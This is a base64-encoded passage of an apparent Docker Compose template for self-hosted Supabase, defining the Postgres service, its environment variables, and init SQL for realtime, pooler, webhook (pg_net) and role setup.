PTkd9JwogICAgICAtICdTVVBBQkFTRV9BTk9OX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX1NFUlZJQ0VfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnQVVUSF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICAgIC0gJ0xPR0ZMQVJFX1VSTD1odHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAnCiAgICAgIC0gJ1NVUEFCQVNFX1BVQkxJQ19BUEk9JHtTRVJWSUNFX1VSTF9TVVBBQkFTRUtPTkd9JwogICAgICAtIE5FWFRfUFVCTElDX0VOQUJMRV9MT0dTPXRydWUKICAgICAgLSBORVhUX0FOQUxZVElDU19CQUNLRU5EX1BST1ZJREVSPXBvc3RncmVzCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogIHN1cGFiYXNlLWRiOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9wb3N0Z3JlczoxNS44LjEuMDQ4JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdwZ19pc3JlYWR5IC1VIHBvc3RncmVzIC1oIDEyNy4wLjAuMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS12ZWN0b3I6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSAnLWMnCiAgICAgIC0gY29uZmlnX2ZpbGU9L2V0Yy9wb3N0Z3Jlc3FsL3Bvc3RncmVzcWwuY29uZgogICAgICAtICctYycKICAgICAgLSBsb2dfbWluX21lc3NhZ2VzPWZhdGFsCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19IT1NUPS92YXIvcnVuL3Bvc3RncmVzcWwKICAgICAgLSAnUEdQT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdQQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdKV1RfRVhQPSR7SldUX0VYUElSWTotMzYwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBhYmFzZS1kYi1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9yZWFsdGltZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk5LXJlYWx0aW1lLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXG5jcmVhdGUgc2NoZW1hIGlmIG5vdCBleGlzdHMgX3JlYWx0aW1lO1xuYWx0ZXIgc2NoZW1hIF9yZWFsdGltZSBvd25lciB0byA6cGd1c2VyO1xuIgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2RiL19zdXBhYmFzZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk3LV9zdXBhYmFzZS5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwiJFBPU1RHUkVTX1VTRVJcImBcblxuQ1JFQVRFIERBVEFCQVNFIF9zdXBhYmFzZSBXSVRIIE9XTkVSIDpwZ3VzZXI7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcG9vbGVyLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktcG9vbGVyLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXFxjIF9zdXBhYmFzZVxuY3JlYXRlIHNjaGVtYSBpZiBub3QgZXhpc3RzIF9zdXBhdmlzb3I7XG5hbHRlciBzY2hlbWEgX3N1cGF2aXNvciBvd25lciB0byA6cGd1c2VyO1xuXFxjIHBvc3RncmVzXG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvd2ViaG9va3Muc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk4LXdlYmhvb2tzLnNxbAogICAgICAgIGNvbnRlbnQ6ICJCRUdJTjtcbi0tIENyZWF0ZSBwZ19uZXQgZXh0ZW5zaW9uXG5DUkVBVEUgRVhURU5TSU9OIElGIE5PVCBFWElTVFMgcGdfbmV0IFNDSEVNQSBleHRlbnNpb25zO1xuLS0gQ3JlYXRlIHN1cGFiYXNlX2Z1bmN0aW9ucyBzY2hlbWFcbkNSRUFURSBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIEFVVEhPUklaQVRJT04gc3VwYWJhc2VfYWRtaW47XG5HUkFOVCBVU0FHRSBPTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gVEFCTEVTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gRlVOQ1RJT05TIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gU0VRVUVOQ0VTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMubWlncmF0aW9ucyBkZWZpbml0aW9uXG5DUkVBVEUgVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLm1pZ3JhdGlvbnMgKFxuICB2ZXJzaW9uIHRleHQgUFJJTUFSWSBLRVksXG4gIGluc2VydGVkX2F0IHRpbWVzdGFtcHR6IE5PVCBOVUxMIERFRkFVTFQgTk9XKClcbik7XG4tLSBJbml0aWFsIHN1cGFiYXNlX2Z1bmN0aW9ucyBtaWdyYXRpb25cbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCdpbml0aWFsJyk7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMuaG9va3MgZGVmaW5pdGlvblxuQ1JFQVRFIFRBQkxFIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyAoXG4gIGlkIGJpZ3NlcmlhbCBQUklNQVJZIEtFWSxcbiAgaG9va190YWJsZV9pZCBpbnRlZ2VyIE5PVCBOVUxMLFxuICBob29rX25hbWUgdGV4dCBOT1QgTlVMTCxcbiAgY3JlYXRlZF9hdCB0aW1lc3RhbXB0eiBOT1QgTlVMTCBERUZBVUxUIE5PVygpLFxuICByZXF1ZXN0X2lkIGJpZ2ludFxuKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfcmVxdWVzdF9pZF9pZHggT04gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIFVTSU5HIGJ0cmVlIChyZXF1ZXN0X2lkKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfaF90YWJsZV9pZF9oX25hbWVfaWR4IE9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyBVU0lORyBidHJlZSAoaG9va190YWJsZV9pZCwgaG9va19uYW1lKTtcbkNPTU1FTlQgT04gVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIElTICdTdXBhYmFzZSBGdW5jdGlvbnMgSG9va3M6IEF1ZGl0IHRyYWlsIGZvciB0cmlnZ2VyZWQgaG9va3MuJztcbkNSRUFURSBGVU5DVElPTiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KClcbiAgUkVUVVJOUyB0cmlnZ2VyXG4gIExBTkdVQUdFIHBscGdzcWxcbiAgQVMgJGZ1bmN0aW9uJFxuICBERUNMQVJFXG4gICAgcmVxdWVzdF9pZCBiaWdpbnQ7XG4gICAgcGF5bG9hZCBqc29uYjtcbiAgICB1cmwgdGV4dCA6PSBUR19BUkdWWzBdOjp0ZXh0O1xuICAgIG1ldGhvZCB0ZXh0IDo9IFRHX0FSR1ZbMV06OnRleHQ7XG4gICAgaGVhZGVycyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHBhcmFtcyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHRpbWVvdXRfbXMgaW50ZWdlciBERUZBVUxUIDEwMDA7XG4gIEJFR0lOXG4gICAgSUYgdXJsIElTIE5VTEwgT1IgdXJsID0gJ251bGwnIFRIRU5cbiAgICAgIFJBSVNFIEVYQ0VQVElPTiAndXJsIGFyZ3VtZW50IGlzIG1pc3NpbmcnO1xuICAgIEVORCBJRjtcblxuICAgIElGIG1ldGhvZCBJUyBOVUxMIE9SIG1ldGhvZCA9ICdudWxsJyBUSEVOXG4gICAgICBSQUlTRSBFWENFUFRJT04gJ21ldGhvZCBhcmd1bWVudCBpcyBtaXNzaW5nJztcbiAgICBFTkQgSUY7XG5cbiAgICBJRiBUR19BUkdWWzJdIElTIE5VTEwgT1IgVEdfQVJHVlsyXSA9ICdudWxsJyBUSEVOXG4gICAgICBoZWFkZXJzID0gJ3tcIkNvbnRlbnQtVHlwZVwiOiBcImFwcGxpY2F0aW9uL2pzb25cIn0nOjpqc29uYjtcbiAgICBFTFNFXG4gICAgICBoZWFkZXJzID0gVEdfQVJHVlsyXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVlszXSBJUyBOVUxMIE9SIFRHX0FSR1ZbM10gPSAnbnVsbCcgVEhFTlxuICAgICAgcGFyYW1zID0gJ3t9Jzo6anNvbmI7XG4gICAgRUxTRVxuICAgICAgcGFyYW1zID0gVEdfQVJHVlszXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVls0XSBJUyBOVUxMIE9SIFRHX0FSR1ZbNF0gPSAnbnVsbCcgVEhFTlxuICAgICAgdGltZW91dF9tcyA9IDEwMDA7XG4gICAgRUxTRVxuICAgICAgdGltZW91dF9tcyA9IFRHX0FSR1ZbNF06OmludGVnZXI7XG4gICAgRU5EIElGO1xuXG4gICAgQ0FTRVxuICAgICAgV0hFTiBtZXRob2QgPSAnR0VUJyBUSEVOXG4gICAgICAgIFNFTEVDVCBodHRwX2dldCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9nZXQoXG4gICAgICAgICAgdXJsLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIFdIRU4gbWV0aG9kID0gJ1BPU1QnIFRIRU5cbiAgICAgICAgcGF5bG9hZCA9IGpzb25iX2J1aWxkX29iamVjdChcbiAgICAgICAgICAnb2xkX3JlY29yZCcsIE9MRCxcbiAgICAgICAgICAncmVjb3JkJywgTkVXLFxuICAgICAgICAgICd0eXBlJywgVEdfT1AsXG4gICAgICAgICAgJ3RhYmxlJywgVEdfVEFCTEVfTkFNRSxcbiAgICAgICAgICAnc2NoZW1hJywgVEdfVEFCTEVfU0NIRU1BXG4gICAgICAgICk7XG5cbiAgICAgICAgU0VMRUNUIGh0dHBfcG9zdCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9wb3N0KFxuICAgICAgICAgIHVybCxcbiAgICAgICAgICBwYXlsb2FkLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIEVMU0VcbiAgICAgICAgUkFJU0UgRVhDRVBUSU9OICdtZXRob2QgYXJndW1lbnQgJSBpcyBpbnZhbGlkJywgbWV0aG9kO1xuICAgIEVORCBDQVNFO1xuXG4gICAgSU5TRVJUIElOVE8gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzXG4gICAgICAoaG9va190YWJsZV9pZCwgaG9va19uYW1lLCByZXF1ZXN0X2lkKVxuICAgIFZBTFVFU1xuICAgICAgKFRHX1JFTElELCBUR19OQU1FLCByZXF1ZXN0X2lkKTtcblxuICAgIFJFVFVSTiBORVc7XG4gIEVORFxuJGZ1bmN0aW9uJDtcbi0tIFN1cGFiYXNlIHN1cGVyIGFkbWluXG5ET1xuJCRcbkJFR0lOXG4gIElGIE5PVCBFWElTVFMgKFxuICAgIFNFTEVDVCAxXG4gICAgRlJPTSBwZ19yb2xlc1xuICAgIFdIRVJFIHJvbG5hbWUgPSAnc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluJ1xuICApXG4gIFRIRU5cbiAgICBDUkVBVEUgVVNFUiBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gTk9JTkhFUklUIENSRUFURVJPTEUgTE9HSU4gTk9SRVBMSUNBVElPTjtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIFNDSEVNQSBzdXBhYmFzZV9mdW5jdGlvbnMgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gQUxMIFRBQkxFUyBJTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIEFMTCBTRVFVRU5DRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5BTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBTRVQgc2VhcmNoX3BhdGggPSBcInN1cGFiYXNlX2Z1bmN0aW9uc1wiO1xuQUxURVIgdGFibGUgXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5taWdyYXRpb25zIE9XTkVSIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkFMVEVSIHRhYmxlIFwic3VwYWJhc2VfZnVuY3Rpb25zXCIuaG9va3MgT1dORVIgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuQUxURVIgZnVuY3Rpb24gXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5odHRwX3JlcXVlc3QoKSBPV05FUiBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5HUkFOVCBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gVE8gcG9zdGdyZXM7XG4tLSBSZW1vdmUgdW51c2VkIHN1cGFiYXNlX3BnX25ldF9hZG1pbiByb2xlXG5ET1xuJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX3JvbGVzXG4gICAgV0hFUkUgcm9sbmFtZSA9ICdzdXBhYmFzZV9wZ19uZXRfYWRtaW4nXG4gIClcbiAgVEhFTlxuICAgIFJFQVNTSUdOIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbiBUTyBzdXBhYmFzZV9hZG1pbjtcbiAgICBEUk9QIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbjtcbiAgICBEUk9QIFJPTEUgc3VwYWJhc2VfcGdfbmV0X2FkbWluO1xuICBFTkQgSUY7XG5FTkRcbiQkO1xuLS0gcGdfbmV0IGdyYW50cyB3aGVuIGV4dGVuc2lvbiBpcyBhbHJlYWR5IGVuYWJsZWRcbkRPXG4kJFxuQkVHSU5cbiAgSUYgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXh0ZW5zaW9uXG4gICAgV0hFUkUgZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbi0tIEV2ZW50IHRyaWdnZXIgZm9yIHBnX25ldFxuQ1JFQVRFIE9SIFJFUExBQ0UgRlVOQ1RJT04gZXh0ZW5zaW9ucy5ncmFudF9wZ19uZXRfYWNjZXNzKClcblJFVFVSTlMgZXZlbnRfdHJpZ2dlclxuTEFOR1VBR0UgcGxwZ3NxbFxuQVMgJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX2V2ZW50X3RyaWdnZXJfZGRsX2NvbW1hbmRzKCkgQVMgZXZcbiAgICBKT0lOIHBnX2V4dGVuc2lvbiBBUyBleHRcbiAgICBPTiBldi5vYmppZCA9IGV4dC5vaWRcbiAgICBXSEVSRSBleHQuZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EO1xuJCQ7XG5DT01NRU5UIE9OIEZVTkNUSU9OIGV4dGVuc2lvbnMuZ3JhbnRfcGdfbmV0X2FjY2VzcyBJUyAnR3JhbnRzIGFjY2VzcyB0byBwZ19uZXQnO1xuRE9cbiQkXG5CRUdJTlxuICBJRiBOT1QgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXZlbnRfdHJpZ2dlclxuICAgIFdIRVJFIGV2dG5hbWUgPSAnaXNzdWVfcGdfbmV0X2FjY2VzcydcbiAgKSBUSEVOXG4gICAgQ1JFQVRFIEVWRU5UIFRSSUdHRVIgaXNzdWVfcGdfbmV0X2FjY2VzcyBPTiBkZGxfY29tbWFuZF9lbmQgV0hFTiBUQUcgSU4gKCdDUkVBVEUgRVhURU5TSU9OJylcbiAgICBFWEVDVVRFIFBST0NFRFVSRSBleHRlbnNpb25zLmdyYW50X3BnX25ldF9hY2Nlc3MoKTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCcyMDIxMDgwOTE4MzQyM191cGRhdGVfZ3JhbnRzJyk7XG5BTFRFUiBmdW5jdGlvbiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KCkgU0VDVVJJVFkgREVGSU5FUjtcbkFMVEVSIGZ1bmN0aW9uIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBTRVQgc2VhcmNoX3BhdGggPSBzdXBhYmFzZV9mdW5jdGlvbnM7XG5SRVZPS0UgQUxMIE9OIEZVTkNUSU9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBGUk9NIFBVQkxJQztcbkdSQU5UIEVYRUNVVEUgT04gRlVOQ1RJT04gc3VwYWJhc2VfZnVuY3Rpb25zLmh0dHBfcmVxdWVzdCgpIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5DT01NSVQ7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcm9sZXMuc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk5LXJvbGVzLnNxbAogICAgICAgIGNvbnRlbnQ6ICItLSBOT1RFOiBjaGFuZ2UgdG8geW91ciBvd24gcGFzc3dvcmRzIGZvciBwcm9kdWN0aW9uIGVudmlyb25tZW50c1xuIFxcc2V0IHBncGFzcyBgZWNobyBcIiRQT1NUR1JFU19QQVNTV09SRFwiYFxuXG4gQUxURVIgVVNFUiBhdXRoZW50aWNhdG9yIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgcGdib3VuY2VyIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgc3VwYWJhc2VfYXV0aF9hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX3N0b3JhZ2VfYWRtaW4gV0lUSCBQQVNTV09SRCA6J3BncGFzcyc7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvand0LnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL2luaXQtc2NyaXB0cy85OS1qd3Quc3FsCiAgICAgICAgY29udGVudDogIlxcc2V0IGp3dF9zZWNyZXQgYGVjaG8gXCIkSldUX1NFQ1JFVFwiYFxuXFxzZXQgand0X2V4cCBgZWNobyBcIiRKV1RfRVhQXCJgXG5cXHNldCBkYl9uYW1lIGBlY2hvIFwiJHtQT1NUR1JFU19EQjotcG9zdGdyZXN9XCJgXG5cbkFMVEVSIERBVEFCQ